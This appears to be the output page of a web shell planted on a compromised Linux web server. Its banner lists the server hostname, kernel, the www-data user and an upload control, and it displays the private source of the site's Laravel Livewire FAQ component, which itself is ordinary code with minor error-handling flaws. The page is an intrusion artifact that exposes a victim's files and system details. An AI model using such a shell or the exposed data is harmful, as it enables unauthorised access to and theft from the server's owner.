GOOD SHELL MAS BOY
Server: Apache/2.4.52 (Ubuntu)
System: Linux vmi1836763.contaboserver.net 5.15.0-130-generic #140-Ubuntu SMP Wed Dec 18 17:59:53 UTC 2024 x86_64
User: www-data (33)
PHP: 8.4.10
Disabled: NONE
Upload Files
File: /var/www/html/app/Livewire/Faq/Listing.php
<?php

namespace App\Livewire\Faq;

use Livewire\Component;
use App\Services\ApiEndpoints;
use Illuminate\Support\Facades\Log;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Session;

class Listing extends Component
{
    public $faqs = [];
    public $user_id;

    public function mount()
    {
        $user = session()->get('user', []);
        Session::forget('success');
        Session::forget('error');
        if ($user) {
            $this->user_id = $user['id'];
            $this->fetchFaq();
        } else {
            session()->flash('error', 'You dont have FAQ. Create your FAQ here');
            return redirect('/dashboard-faq');
        }
    }

    public function fetchFaq()
    {
        try {
            $body = [
                "user_id" => $this->user_id,
            ];
            $apiEndpoints = new ApiEndpoints();
            $headers = $apiEndpoints->header();
            $response = Http::withHeaders($headers)
                ->withBody(json_encode($body), 'application/json')
                ->get(ApiEndpoints::fetchFaq());
                // dd($response->json());
            if ($response->successful()) {
                $this->faqs = $response->json()['data'];
                // Session::flash('success', $response->json()['message']);
            } else {
                $this->addError('orders', 'Failed to fetch seller gig. Please try again later.');
            }
        } catch (\Throwable $e) {
            Log::error($e->getMessage());
            $this->addError('orders', 'Failed to fetch seller gig. Please try again later.');
        }
    }

    public function deleteFaq($id)
    {
        try {
            $body = ['id' => $id];
            // Make the API request to delete the gig
            $apiEndpoints = new ApiEndpoints();
            $headers = $apiEndpoints->header();
            $response = Http::withHeaders($headers)
                ->withBody(json_encode($body), 'application/json')
                ->delete(ApiEndpoints::deleteFaq());

            if ($response->successful()) {
                Session::flash('success', $response->json()['message']);
                $this->mount();
            } else {
                $this->mount();
                Session::flash('success', $response->json()['message']);
            }
        } catch (\Throwable $e) {
            $this->mount();
            Session::flash('success', $response->json()['message']);
        }
    }

    public function render()
    {
        return view('livewire.faq.listing');
    }
}